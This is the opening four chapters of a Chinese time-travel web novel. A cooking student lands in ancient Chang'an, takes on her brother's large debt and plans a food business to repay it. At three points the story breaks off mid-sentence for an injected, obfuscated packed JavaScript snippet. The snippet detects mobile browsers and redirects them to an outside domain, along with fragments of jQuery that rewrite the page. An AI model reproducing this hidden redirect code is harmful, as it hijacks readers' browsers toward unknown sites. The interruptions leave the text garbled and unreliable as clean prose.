《长安发财指南（美食）》 1. 初至长安 仲夏燥热，日幕渐渐西沉，迎面吹来的风方才褪去些许燥热。 余小满摇着蒲扇坐在青石台阶上，目光有些涣散。 不远处的河水倒影浮着一层碎金，河岸边的柳枝随风荡起。 马车驶过石拱桥，缓缓在桥头停下，挑着扁担的老汉和提着新鲜莲蓬的双髻少女立刻迎了上去，伸长了胳膊将手里的东西递到车夫眼前。 “看看我的莲蓬吧，我娘一早顶着太阳折回来的！” “您看看我这花，就剩这几支了，刚有位贵人买走半筐呢。” 叫卖声此起彼伏，不曾间断过，余小满的目光飘荡了半天，最终落在了不远处不知谁家屋檐的脊兽上。 小兽挺直脊背，虽小却尽显威严，釉面的身子镀着一层夕阳的光亮。 眼前的画面浸在夕阳的余晖之中，繁华分明近在咫尺，却又有种遥远的不真实感。 余小满放下蒲扇，拖着下巴长叹了一口气。 原来这就是长安啊…… 余小满，烹饪专业大三的学生，现在身处一个陌生朝代大晋，是都城长安的一个普通百姓余小满。 余小满自己都想不明白，她只是在烘培课上打了个盹。 回过神的时候，耳边已不再是同学们争论配方的声音了，眼前的青石长街和来往的男女，更像是梦中的画面。 低头看看自己，一身淡青色窄袖襦裙，倒也并不显得突兀。 事发突然，余小满整整在这里坐了一个下午，才堪堪消化发生的一切。 身后的这间铺子似乎并不需要支付租金，平时她就卖点零碎的吃食。 家中有个兄长，似是在外经商。 双亲并不在京城，几乎没有什么对他们的记忆。 “小满！你咋坐在这哩！” 挎着篮子的婶子在铺子门口站定，看见余小满这不拘小节的坐姿，惊讶地瞪大了眼睛。 视线交汇，脑子里似乎有什么东西稍微松动了一下。 余小满立刻反应过来，这位是罗婶子，就住在这附近，经常来买炸黄豆。 她的铺子就是卖炸黄豆的。 炸黄豆三个字一出，余小满仿佛已经闻到高温油炸后的金灿豆子的香味，香料的味道紧随其上，霸道的横冲直撞。 她揉了揉鼻子，朝着罗婶子笑了笑。 “对不住啊婶子，今天没炸黄豆。” 罗婶子忙摆手说着没事，目光却直直落在她的身上，难以掩饰的惊异。 甚至已经走出两步了，还是忍不住回头看她。 余小满被盯得有些心里发毛，她下意识摸了摸自己的脸颊。 “怎么了婶子？” “没事没事。” 偏偏这并非罗婶子一人朝她投来这样的目光。 这会的天已经黑了大半，不少铺子都已经点上了烛火，点点光芒鳞次栉比，汇成一片，宛若一幅徐徐展开的恢弘长卷。 长街上的行人也逐渐多了起来。 余小满的炸黄豆铺子大概是每天这个时候才开张的。 虽然来买炸黄豆的人寥寥无几，但每一个能叫余小满想起来名字的人，都表现出来了不同程度的惊讶。 可每但当余小满想要询问的时候，食客们却是一副见了鬼的表情，摆着手逃似地快步离开。 透着一股说不出来的诡异。 余小满又捧着脸坐了一会，脑子里空空荡荡，肚子却率先抗议的长鸣了一声。 就在她准备起身之时，余光中晃过一抹鹅黄——又有一个人在铺子前站定。 经历了这一下午，应付食客，余小满已经非常熟练了。 她甚至没看清那女子的长相，便已经先朗声道：“不好意思，今天没有炸黄豆。” 面前沉默了一瞬，鹅黄色襦裙的女子蹙眉盯着余小满看了一会，而后直接果断伸手捧住了余小满的脸。 一股浅淡芳香扑面而来，余小满瞳孔一缩，不知所措地完全僵在了原地。 见余小满如此，女子眼中的担忧越发浓重，她松开手，抓住了余小满的肩膀晃了晃。 “小满！？” 其用力之大，似是恨不得直接将附身在余小满身上的“邪祟”直接摇出来。 余小满猝不及防地被晃得头晕眼花，视线模糊之时，她终于是想起了眼前的女子是谁。 并非是来买炸黄豆的过客，是有名有姓的，是她余小满人生中很重要的人。 唐瑛，是兄长友人的妹妹。 父母不在，兄长外出。余小满接手这间铺子之后，是唐瑛一直陪同在她身边。 既然想起来她是谁，余小满忙艰难地伸出双手，握住唐瑛的手腕。 “阿姐，阿姐。” 连着唤了两声，都没有得到回应，余小满深吸一口气，提着音调喊了一声。 “唐瑛姐！” 见她还能口齿清晰、神色清明，唐瑛猛松了一口气，目光依旧关切。 “小满，这是怎么了。” 到底是朝夕相处的人，余小满怕被她看出什么不对劲的地方，有些心虚地低头揉了揉鼻子。 “我……” 抬眸的一瞬，她福至心灵，抬手指了指自己的脑袋。 “不小心摔了一跤，很多事情想不起来了。” 失忆这招放在余小满生活的年代早已烂大街了，但眼下这种情况，显然是管用的。 唐瑛丝毫没有怀疑的意思，面色焦急，目光关切地捧住余小满的脑袋，一寸一寸检查了过去。 在确定并无外伤之后，她眼中的担忧之色不减。 “我们去回春堂看看吧。” “可是阿姐。”余小满撇着嘴，捂着肚子道“我真的好饿。” 她眼中的幽怨和可怜是发自肺腑，一点也做不得假。 唐瑛记忆里的余小满并不是个会隐瞒身体不适的人，如今虽看着性子大变，但刻在骨子里的本能，应该并不会有大变动。 她遂放柔声音道：“那你先去添件衫子，我们今晚去醉仙楼用晚膳吧。刚路过的时候，碰着店掌柜，还说咱好久没去了呢。” 余小满立刻点头，眼中迸发开光亮。 虽不知这醉仙楼菜品味道如何，但就冲这个名字，应该难吃不到哪去。 这家铺子是前后格局的，自带了一个小院子，左右各有两间厢房。只是到底是地处闹市，后院种上三五绿植后，便显得些狭窄。 余小满的记忆随着脚步的迈进逐渐复苏。 后院虽小却整洁，一切物件都摆放的有序。 东侧的房间放置了一些衣物，也供她和唐瑛偶尔小憩。西侧则做仓库用，黄豆和香料也都放在那里。 唐瑛脚步轻快，先推门进屋。等余小满东张西望着走到的时候，手上已经被塞了一件鹅黄色绣宝相纹的褂子。 “快穿上” 余小满乐呵呵应了一声，低头就开始翻找找袖口的位置，完全没有看见唐瑛已经侧过身，让出了进屋的空间。 她就这般毫不讲究的，在屋檐下动作麻利地套上了褂子。 抬眼是目光满是兴奋，对上的却是唐瑛一言难尽、欲言又止的表情。 “怎么了阿姐？” 不等唐瑛开口，后门突地炸响开敲门声。 一声赛过一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811335|175252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声的短促响亮。 余小满被吓了一跳，她往后窜了半步的同时，唐瑛已经大步上前，打开了门栓。 只见一群大汉鱼贯而入，一人扛着一个看起来就沉甸甸的大袋子，熟门熟路地就往西侧的厢房走去。 这使得原本就狭小的院子看起来完全没有了落脚之地，需要侧着身子才能供另一个人通过。 可不管是壮汉们还是唐瑛，都是一副面无表情的模样，像是早已习惯了眼前这画面。 唯有余小满瞠目结舌，瞪大眼睛看着那一袋又一袋的不知道什么东西被扛进屋内，好似没有止境一般。 这般数额的采购，不管是什么食材或者物资，可不像是“她”自己或者唐瑛会做出来的事情。 就在余小满茫然不解之际，有一个衣裳明显讲究些的壮汉阔步走进了小院。 虽说是讲究，但也并没有精致到哪去，只不过是粗布窄袖的短褂上不伦不类佩戴了荷包，手里盘完着不知道什么材质的一串油润珠子。 他嘴里还叼着一根不知从哪里折来的新鲜草杆，裸露出的粗壮肌肉的手臂，就这么随意叉着腰，大刀金马地在小院站定了。 下三白眼左右扫视一圈，这气定神闲的嚣张模样，看起来就是非常不好惹的样子。 余小满皱着眉，谨慎地缩着肩膀，以防止这壮汉暴起给她一拳。 双方这架势，真不知道谁才是这院子真正的主人。 感受到余小满的目光，那壮汉调转视线，直直看向了她，眼神之中带着几分跃跃欲试和得意。 “小满姑娘，这会你可落在我手里了。” 此言过于狂妄，余小满拘谨地往后退了半步。 “这最后一批黄豆从运到，欠你哥的人情我全都还上了，这全部的钱款也该截给我了。总共六十八两白银，你看看怎么给。” 六十八两白银？ 余小满错愕的张着嘴，脑子里迅速闪过对长安城物价的概念。 十两银子都够京城五口之家过得有滋有味了，她一包满满当当的炸黄豆才卖五文！ 六十八两的白银！余小满就是失了记忆，她都清清楚楚知道自家不可能有那么多银子。估摸着她得从本朝开国开始，不吃不喝、不眠不休地卖炸黄豆才能攒够这钱。 她下意识反应过来——这不可能！ 黄豆并非什么稀罕作物，在本朝早已普及种植，就算用黄豆将这整个小院淹没，也用不了六十八两银子。 余小满当即笃定这个男人是在骗人，她顿时有了底气，挺直脊背道：“你莫要唬我！” 壮汉满脸遗憾地摇了摇头，早有准备似的从怀里掏出来一张纸笺，生怕她看不清似的，直接戳到了她眼前。 余小满一点不介意他动作粗狂，也并不伸手去接，就这么读了起来。 是她哥余大河的字迹没错。 时间准确，借款金额明确、利息率正常合理、双方签字画押、就连担保人都足足有三个。 如此标准的一张欠条，简直可以当做模范贴在大小县衙门口，让所有人看看——这钱，就该这么借！ 正是因为这欠条太过于标准，余小满眼前是一黑又一黑，天空晴朗，但无声的雷早就将她劈得快要裂开了。 天杀的余大河到底在外面做的什么生意！ 早知道家里这都是天价黄豆，这卖五文钱一大包，岂不是纯亏本生意。 壮汉给余小满来来回回送了那么多次货，就没见她失魂落魄成这样，一时间更是得意。 他收好欠条，哗啦哗啦盘弄着手里的手串，拖着语气老神在在地开口：“你知道还不上债会怎么样吗？” 2. 吃饭要紧 大不了就不做炸黄豆的生意，这铺子就不要了。 余小满面色不改，她暂时对这小院和铺子的价值并没有很强烈的概念，也并无什么归属感。 不要这铺子又如何，大不了她白手起家，从摆地摊开始赚钱。 怎么说也是烹饪优秀在读生啊，现代社会的智慧，难道不足以让她在长安城混上一口饭吃吗？ 似是看出来她的无所谓，壮汉嘿嘿笑了一下。 “这你和唐姑娘都不曾婚嫁，这真还不上银子，我就要报官了。到时候清算了一番，你可是要受杖刑的，之后要不充了奴籍去做工还债，再要不就只能嫁人了。” 挨板子？充奴籍？嫁人？！ 余小满当即变了脸色。 这哪个词都让她无法接受，法制社会多年生活的潜意识让余小满本能的觉得这是骗局。 但冷静下来想想，这壮汉说的确实是实话。 本朝商业发达，周边邻国往来贸易不少，商品交易格外繁荣。 因此在涉及商业方面的律法非常完备。对欠钱不还的，自然会严惩以做警示，才能叫商队和百姓放心交易。 她和余大河在京城似乎都已经没有别的亲眷。 余小满思索了一下，除非能将余大河逮回京城，不然她还就真得还这笔债。 而这笔债，不仅会掏空她和唐瑛全部的钱财，也会使得她们二人落入极为艰难的处境之中。 余大河！！！ 余小满对这个“素未谋面”的亲哥哥，恨得咬牙切齿。 他到底在外面做的什么生意！ 看着余小满脸色青一阵红一阵，也不知在脑子里上演了什么精彩的大戏。 一直沉默在旁的唐瑛长长叹了口气，转头看向了那壮汉。 “田大哥，小满今日摔了一跤，身子有些不适。你且再给我们一点时间，也叫小满缓上一缓吧。” 壮汉瞥了一眼唐瑛，也没说话，而是接过了一旁搬完黄豆的小弟递过来的长棍。 他今天是带了完备家伙事来的，是打算好好威胁一番余小满，砸点什么东西，叫着她重视起这欠款来。 可这丫头今天看起来确实是不太正常，那点情绪全都写在脸上了，明眼人都知道她在想什么。 和她平时那副端得高高在上的矜持样可太不一样了。 虽不至于现在就走到报官这一步，只是这该砸的东西，还是要砸的！ 不好好敲打一番，这欠债的人，可是能爬到债主头上呢。 “这样，大哥，你给我点时间。”余小满像是下定了什么决心，抬起头来，语气诚恳：“给我点时间，我去赚，肯定把这钱给你还上！” 壮汉愣了一下，本以为又要从余小满嘴里听到什么晦涩难懂的大道理，没想到是这样朴实诚恳的请求。 手中的长棍转了一圈，呼啸着破空声，却没有砸到院内的任何东西，稳稳落回了壮汉手中。 “我知道大哥们讨生活都不容易，都是辛苦钱，欠你们这么久的钱是我哥不好，我肯定努力赚钱还上的。” 她的眼睛很亮，一声一声脆生的“大哥”，叫周围搬完黄豆站在原地擦汗的男人们一下子有些不好意思了起来。 “我看大哥们身手都不一般，搬这些的东西都面不改色的，平日里肯定不缺生意，也肯定不急着差我这几十两的银子。您再通融通融，宽限我几日，我赚到钱了第一时间给您送去，保证不耽误大哥们过日子。” 壮汉心里的打好的草稿被余小满三两句话就打散了个七七八八，是怎么也开不了口了。 他纳闷余小满的话术怎么会这么熟练，转瞬又冒出一个疑问来，这炸黄豆摊子不温不火开了多久了？再宽限上几月又如何，怎么算也是赚不够的。 但无论如何，余小满这几句话实在还是太中听了。 平日里来送个货，这丫头什么时候拿正眼瞧过他？ 更别说这样眼里带笑，客客气气软下身段来说话了。 他多少次怀疑这丫头是不是余大河亲妹妹，甚至还偷摸在京城打听过，是不是余大河从哪个大儒家偷了孩子做妹妹。 现在倒是没什么好质疑的了。 这兄妹二人眉眼弯弯的样子，和捧着人说话的语气，分明是一模一样的。 “行吧。” 壮汉将手里的长棍丢给身边的小弟，他拍了拍手上不存在的灰，睨了一眼满脸忐忑的余小满。 “再给你一点时间，明日是芒种，那我等入伏了再来找你。到时候你要不已经筹到钱了，要不就把大河喊回京城来解决这事，不然我就要砸了这铺子，再押着你去衙门了。” 见他松口，余小满像是没听见后半段的威胁一般，欢天喜地满口应下了。 送走了这一群壮汉后，余小满目送着车队离开后院，方才猛松了一口气。 一转头，就见唐瑛神情复杂，欲言又止地看向她。 “怎么了姐。” 唐瑛张了张嘴，半天也没发出声音。 每次田壮的商队来送货的时候，偶尔会带回余大河拜托他们转交的银子，也有时候带回来的是欠条。 不管是什么，但凡牵扯到余大河这个兄长，余小满总是会唉声叹气地愁上半天。 可现在，余小满哪里有一点发愁的样子。 她只是捂住肚子，可怜兮兮地感叹了一句：“好饿啊，真的太饿了。” 似是完全没有被刚刚发生的事情影响。 这般急剧转变的情绪，叫唐瑛更加沉默了，一时间不知道要从哪开始说起，就只好先领着余小满往醉仙楼去了。 能开在京城最繁华地段，醉仙楼在外观上就足够叫第一次来的人停驻脚步，用震撼的目光好好欣赏上一会。 檐角飞扬上翘，瑞兽仙人身影交错其间，斗拱层叠，尽显繁华富贵之相。 雕花回廊相互错落，烛光摇曳之中，窗棂之上的福寿山石和花鸟羽羽如生。 正门悬着龙飞凤舞的“醉仙楼”三字的牌匾，红灯笼随风微晃，投下一地的流光溢彩。 这会已经过了寻常人家用完膳的点，但醉仙楼大堂之中依旧坐得满满当当，端菜的小厮来回穿梭，脆生地报着菜名，好不热闹。 余小满兴致勃勃地左顾右盼，沉浸欣赏着繁华和热闹。 店小二眼尖，在看见余小满的一瞬，便立刻扶正了头上的八角小帽，而后将衣袖和衣摆用力扯了扯，确保自己整个人衣着整齐端正后，方才将手中的帕子往腰上一挂，躬着身迎了上来。 “呦！小满姑娘和唐姑娘来了啊，快快快里面请，刚好有个空位！” 大堂里大多是四四方方的小桌，能够坐上四个人。 刚落座，小二便不知从哪取了茶壶来，替她们二人斟茶。 不知为何，余小满总感觉他抬手的动作绷得很紧，有种说不出来的紧张。 她好奇地歪头看去，惊得小二别开目光，嘴角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811336|175252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扯出一丝僵硬至极的笑。 他问：“您二位还是和从前一样？” 从前一样？ 余小满刚想发问，唐瑛便已经率先点了点头。 “好，先喝些茶水，稍等片刻便为您上冷碟。” 说罢，他像是猛松一口气似的，快步朝着后厨方向走去。 这个小二……有点怪怪的…… 余小满端起茶盏，轻轻吹了吹后抿了一小口。 她们二人看起来像是醉仙楼的常客。 这酒楼不管是身处的地段还是装潢格局都很出众，虽未看见菜单，可这菜想来并不会便宜。 这是她们欠了一笔巨款的人家能吃得起的吗？ “阿姐阿姐。”余小满往前探了探身子，压低声音问道：“我们手头还有多少银子啊，够吃吗？” 唐瑛正在喝茶，见她目光警惕的模样，长叹一口气后，缓缓放下了茶盏。 “你来这醉仙楼用膳，记得是掌柜的账。” “为何？” “余大哥随商队去西北收购香料的时候，曾经救过掌柜一命。余大哥说什么都不要谢礼，掌柜便允诺，这醉仙楼菜单上新一次，便宴请你们兄妹一次。只是……” 余小满来了兴致：“只是什么？” “我们其实也并不常来……” 余小满还想要追问，但店小二已经端着菜上来了。 “小满姑娘好。”他规规矩矩地问好，介绍道：“水晶脍、五香熏干，您慢用。” 这两碟菜的分量并不多，若是一桌坐满，也就够一人一筷子。 只是菜品摆盘实在是太有讲究了。 所谓水晶脍，便是以鱼皮熬冻凝固后再做切片，再配些蘸料食用。 可眼前这白瓷盘上，切成薄片的鱼皮冻，好似冰霜凝成的一般，片片交叠拥簇，竟摆盘成了一朵含苞欲绽的芍药。 余小满伸出筷子夹起一片，在一旁的酱料碟中轻蘸了一下。 本以为能做到如此透亮，便已经是这道菜的实质了。可没想到竟有格外的巧思。 每一薄片之上，有着不起眼的纹路，只有在深褐色的蘸料中蘸上一下，才能看得出来。 实在是妙到了极致！ 余小满一边吃，一边抬起目光看向唐瑛，示意她接着说下去。 只听见唐瑛若有所思道：“你这一摔，还真是变了个彻底。” 此话一出，余小满的筷子顿在了半空中。 “你从前并不是这样的性子，不管做什么都极其看重规矩和礼仪，就是吃饭走路，都要把脊背挺得笔直。这十几年，一直端着一口气，生怕在旁人眼里失了颜面。” 唐瑛语气有些感慨，却也并未展开多说什么。 余小满恍然大悟一般地瞪大了眼睛。 难怪！ 难怪不管是买黄豆的客人还是收债的壮汉，亦或是刚刚上完菜的店小二，每个人都要用奇怪的目光看她。 但每个人又很本能的，在她面前格外拘谨。 她来这长安城不过半日，仗着全无记忆，也变未刻意遮掩自己的习惯。 这半日来的行为举止，足以称得上是散漫不着调了，和唐瑛口中那矩步恪礼的人，可是完全不同的，这根本经不起细想。 一阵寒意顿时窜上了脊背。 余小满有些不安的舔了舔嘴角，顿时没了胃口。 她性情如此大变，唐瑛是不是已经怀疑什么了？ 3. 竹串炙肉 丝竹管乐声自楼梯倾落而下，被大堂四面八方的言语声冲碎了。 唐瑛低垂眼眸，光落在她挺拔的眉骨，长睫投下阴影，遮掩住全部的神情。 “你现在还是不记得以前的事情吗？” 余小满缩着脖子，坚定地点头。 她不敢多说，只怕自己暴露了什么。就在这时，店小二端着砂锅快步走到了桌前。 “茶香烧鸡，您慢用！” 掀开砂锅盖子，香气四溢的滚烫热气直冲冲地往上窜。砂锅最底下只有薄薄的一层汁水，大概是汇聚起的蒸汽。整只鸡已经去头去尾，散发着油润的金灿光泽。 唐瑛伸出筷子，只轻轻一拨弄便挑破了焦黄薄皮，滚烫的汁水争先恐后地涌了出来。 她轻扭了下手腕，便利索地卸下鸡腿，夹到了余小满的碗中。 “也好，不记得从前的事情也是一件好事。”唐瑛像是猛松了一口气般，抬眼看向余小满时，眼中竟泛着水光。 她用一种极其郑重地语气道：“你记住，不必强求自己去想起来以前的事情，一切皆有命数，往后你只管想做什么便做什么，就像大河哥那样。” 虽不知道过去到底发生了什么，让唐瑛能说出“不记得是一件好事”这样的论断。 但唐瑛并不深究此事，余小满便猛松了一口气。 她很清楚自己的性子，在没有组织好完整的一套谎言前，短时间内是绝对经不起盘问的。 过去发生了什么，可以慢慢再去打听，眼下能做的便是尽快适应在长安城的生活。 而距离安稳躺平过日子，中间隔着六十八两银子的债务。 余大河欠的这笔钱，实在是叫人觉得糟心极了。 想到这里余小满就来了气，她哼哼了两声，夹起了碗里的鸡腿。 “那可不能活成他那样！欠了这样大的一笔债，到现在没个人影，我才不活成他这不负责任的混样子！” 说罢便发泄似地咬了一口鸡腿。 汁水在唇齿间四溢开来，这鸡腌得非常到位，肉质无比嫩滑却紧致弹牙，只轻轻一抿，好似顺着柔软的云端跌落进滚烫的温泉之中。 待到舌尖经历完香料横冲直撞的冲击后，龙井茶的清香才缓缓地翻涌而上，如狂欢之后淅淅沥沥的小雨，温润地彻底化解油脂烹煮后的油腻。 余小满只来得及讨伐上一句，便专心致志低头啃食鸡腿了。 仅从这一只烧鸡就可以看出来，醉仙楼的后厨实力绝对过硬，也难怪这大堂坐得满满当当。 待余小满吃完这一整个鸡腿，唐瑛又替她舀了一碗野菜羹。 “那这笔钱，你打算如何去挣？” 余小满思索了一下，道：“家中除了黄豆，还有很多香料吧。” 她清楚记得小院的屋檐之下还挂着一连串通红的干辣椒。 辣椒这种作物，在余小满所处的时代中，是原产于大洋彼岸的。 通过发达的海上贸易传输进来后，起初是用做观赏，那距离开发使用价值，应该还有很长一段时间。 古时所用的辣味源自花椒、姜和茱萸，而很显然，这三味调料的辣度，并不能和辣椒相提并论。 若她能利用好这“辣”味，便能在这京城中占据绝对的优势。 “家里香料多的话，我觉得卖炙肉正合适，可以将那些香料都用上，还可以……” 只是她话音刚落，店小二端着素白瓷盘走到了桌前。 “竹串炙肉，您慢用。” 余小满沉默了。 盘中的不同的肉被切成了最适合入口的大小，串在竹签上，摆得整齐。 萝卜雕成的牡丹栩栩如生，被烤串拥簇在盘中央，矜贵又骄傲。 肉的表面烤的焦脆，还在滋滋冒油，显然是刚从烤架上下来。 表面那一层薄薄的香料，在高温作用下，混合着油脂激发出了格外诱人的香味，是不太同于先前所有菜的热辣奔放，在大堂中张扬地四散欢腾。 不止她们一桌点了炙肉，浓郁的香味扩散汇聚，张狂地往外散去，勾得路人驻足张望。 楼上的丝竹管乐声骤然切换了风格，鼓点轻快明朗，羌笛和胡琴交相欢腾，无比的应景。 这和她想象中的炙肉……一模一样。 甚至都不用拿起来尝，余小满就可以确定，这炙肉上绝对撒了辣椒粉。 她不可思议地怔了许久。 一股莫名的怅然涌上心头。 原本以为胜券在握的必杀技，原来早就已经在这长安城拥有了自己的市场了。 她的那些小心思，在此刻倒是显得有些傲慢无知了。 醉仙楼的厨子不仅能很好的腌制肉类，更是已经发掘出了随商贸队伍来到京城的各种香料的作用。 是她低估了长安百姓的智慧，也低估了长安的繁华和生机。 这一瞬间，余小满终于真切的感受到，眼前的一切的热闹繁荣并非纸面上浅短的几个字。 局势似乎陡然间严峻艰难了起来。 要想真正站稳脚跟，她必须彻底抛弃曾身处更先进生产力社会的沾沾自喜和优越感。 余小满长叹一口气，虽是受了挫，脑子却前所未有的清明了起来。 如今没有了信息差上的优势，还债的事，还得另寻他法。 “炙肉得趁热吃。”唐瑛拿起一串炙鸡，放到余小满的碗中。 她只当余小满是因为还债的事情发愁，犹豫了一会后，刚想再劝两句，可余小满已经甩甩脑袋，拿起那竹签便往嘴里送。 余小满向来是听劝的，她暂时没有更好的主意，便专注对付眼前的炙肉。 这一入口，味蕾与四散开的炙肉香味有了更紧密的接触和体会。 孜然、肉桂、辣椒、花椒、桂皮…… 细细品着，每一口咀嚼都伴随着油脂和香料的交融，香味翻涌交叠，极具层次。 虽说有几味香料并未被激发完整的味道，若是细尝，彼此之间的搭配也略显生硬。 但这浓郁刺激，充斥着西域风情的味道，对长安城的百姓来说，也绝对是极致美味的存在了。 虽有进步空间，但醉仙楼的炙肉已是珠玉在前，想要撬走食客难度太高。想要在短短一月之中快速赚够银子，最好还是卖点更新奇的东西才行。 卖炙肉这条路，是走不通了。 一直到吃饱喝足走出醉仙楼，余小满都没有想清楚到底要卖些什么。 长安城并无坊市之间的界限，也并无严格宵禁的概念。 夜间晚风微凉，吹得人有些微醺。 余小满的衣袖裙摆上一时半会难以散去炙肉香气，她便慢悠悠走着，目光从一间铺子晃到另一间铺子，就不曾停歇过。 这不是闲逛，这是市场调研。 醉仙楼的生意肉眼可见的好，明眼人都知道是绝对赚钱的，那想来大街小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811337|175252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巷里都应该散着炙肉香味才对。 但事实上并没有。 在即将到自家铺子的时候，余小满状似无意地问道：“好像除了醉仙楼，也没有其他很多店家在卖炙肉。” 余小满从前对生意上的事情是完全不上心的。 哪怕在卖炸黄豆，也完全是余大河的主意，她本人是压根就不喜欢做买卖。 如今见余小满如此认真的研究琢磨起来，倒叫唐瑛觉得新鲜稀奇。 “那是自然，也就这几年，京城和西北的商贸往来才频繁起来。能长久稳定建立贸易关系的商队也并不多，香料在京城，也还算是稀缺货。” 心中的猜测得到证实，余小满悄然松了口气。 还好还好，也不是各个厨子都会用辛香料，这长安城也还是留了些机会给她的。 …… 回到铺子里，余小满便一头扎进了后院西侧的屋子里。 当务之急是清点一下手头到底有什么原材料，尽量精简成本，实现利润最大化，早日还清债务。 余小满一手捏着一叠粗糙的宣纸，一边解开袋口，查看里面的香料保存情况，时不时提笔，潦草的画上几笔做记号。 她一旦专心投入去做一件事，便会将其他一切抛在脑后。 这一检查，便忘却了时间，连唐瑛什么时候洗漱完毕，端了水过来，都没有注意到。 “今晚吃得辛辣，降降火。” 唐瑛正准备将陶罐中的水倒到杯子里，不想余小满直接伸手接过了陶罐，仰头便喝了起来。 是金银花茶，温温热热的，回味甘甜，嗓子一下子清朗了许多。 “阿姐先去歇息，我再想想办法，看看能不能明早就想出办法来，早些开张，就能早些挣到钱了。” 屋内烛光明朗，融化了自敞开的大门倾洒进的月光。 唐瑛倚着门框，看着那站在光影中间，垂眸深思的余小满，思绪飘得很远很远。 良久，她才回过神来。 “我在屋外做些绣活，若是有事，直接喊我便是。” 余小满此时已经完全沉浸在自己的世界中，她腾出手来招了招，表示自己听见了。 在长安城的第一夜，对余小满来说是极其难熬的。 她一个人顶着月光坐在小院里，指尖搓着三五粒豆子。看似目光放空，似是神游。 实际上是在绞尽脑汁地回忆着这几年在烹饪系所学到的知识。 从食品营养学到食品化学、从乳制品加工到发酵工程。 余小满理论知识学的还算扎实，可思来想去，那么多的书里竟找不到有哪一页能和眼前的黄豆对上号。 她所学的，都是建立在现代设备基础上，一旦脱离了机械和电力，真叫人有些两眼抓瞎。 这教务处怎么也没说安排一学期的古法烹饪课呢？ 余小满想不明白，也便睡不踏实，就连在梦里，也是翻来覆去的和八角桂皮茴香打交道，整个人都快要被腌入味。 唐瑛一早起来看到的，便是这样一个已经想破了头，两眼绝望，眼底青黑的余小满。 “想出什么办法了吗？” 余小满的目光呆滞了一瞬，而后扬起嘴角，双眼迸发出不正常的光亮。 她用一种平静但难掩兴奋的语气，嘿嘿一笑，而后交代出了思索了一夜的结果。 “阿姐！不如直接把香料和豆子一并都卖给醉仙楼吧！” 4. 豆腐西施 这个解决方法跳度太大，让唐瑛一时间觉得难以理解。她疑惑地皱眉，努力地消化着余小满这一句话中的每一个字。 “醉仙楼的炙肉对香料的需求量很大，刚好我们这里的香料又多、种类又齐全。岂不两全其美！” 余小满说着说着便逐渐自信了起来，她语气激动昂扬，猛地一拍手。 “我们甚至连火都不用生，只要把货运过去就解决这笔欠款了！” 这中间商的差价，赚得不要太轻松啊！ 余小满越发觉得这方法可行，昂着脑袋等着挨唐瑛的夸。 这骄傲的模样，唐瑛甚至恍惚看见了她身后的并不存在的尾巴，几乎摇出残影。 余小满难得这般有活力，唐瑛不愿意打击她的自信，便只好轻声细语提醒道：“可是小满啊，如果只是把东西卖了就能解决，为什么这些黄豆现在还会堆在家里呢。” 此话一出，余小满脸上的笑凝固住了。 她还是对这个时代的贸易方式有些生疏，绞尽脑汁想了一晚上如何解决仓库的食材，可从未想过为何这些食材会被堆放在仓库里。 余大河经营商队，没理由千辛万苦将东西运回京城又不售卖啊。 只听唐瑛解释道：“大河哥在外面得罪了人，他的商队经手的货物，全都没法在京城卖。你大概是没想起来，这已经是第二批黄豆了，之前的那一批，有粮油铺子想要收购。结果成交的当天晚上，掌柜就被人翻进家门警告了，第二天更是被官府查抄了账本，因为掌柜谎报京郊农田的亩数，铺子还被封了三天。” 唐瑛长叹一口气：”官府的衙役还当众直接将黄豆送了回来，这一闹，谁都知道不能从我们家拿货了。” “啊？” 余小满不解，这余大河是什么绝世恶霸，在外欠债不说，这么还得罪人了？ 这隔天便由官府出面解决的手段，怕是只有长安城里有头有脸的大人物才能做到了。 这余大河得罪的还不是一般人啊！ 有着行动速度，说不定时时刻刻派人盯着呢。 余小满小心翼翼地问：“这不影响我们正常做生意吧？” “不影响，京兆府少尹还跟过来看了一眼，说是不影响我们过日子。只是上头有人放话了，这长安城里谁也不能收大河哥带回来的货物。” 这余大河得罪的大人物……还怪好哩！ 居然还考虑到了家属的死活。 只可惜再祸不及家属，都扛不住余大河要把自己妹妹往死里坑。 问题兜兜转转回到原点，余小满再一次亲切问候余大河。 瞧见她龇牙咧嘴的模样，唐瑛也不催促，只是提议。 “饿了吧，我们出去吃个早点？” 说罢，像是担心余小满因为这欠款的问题焦虑过度，唐瑛又补充道：“咱手头还有个几两银子的，两个人吃个早点，花不了多少钱。” 一提到早点，余小满才感觉到一阵饥饿后知后觉从胃里翻涌。 她点点头，随即又想到了什么，忙指着井边的木桶道：“可我已经把豆子浸在水里了，准备磨豆浆、做豆腐呢。” 豆浆和豆腐，已经是余小满的最下策。 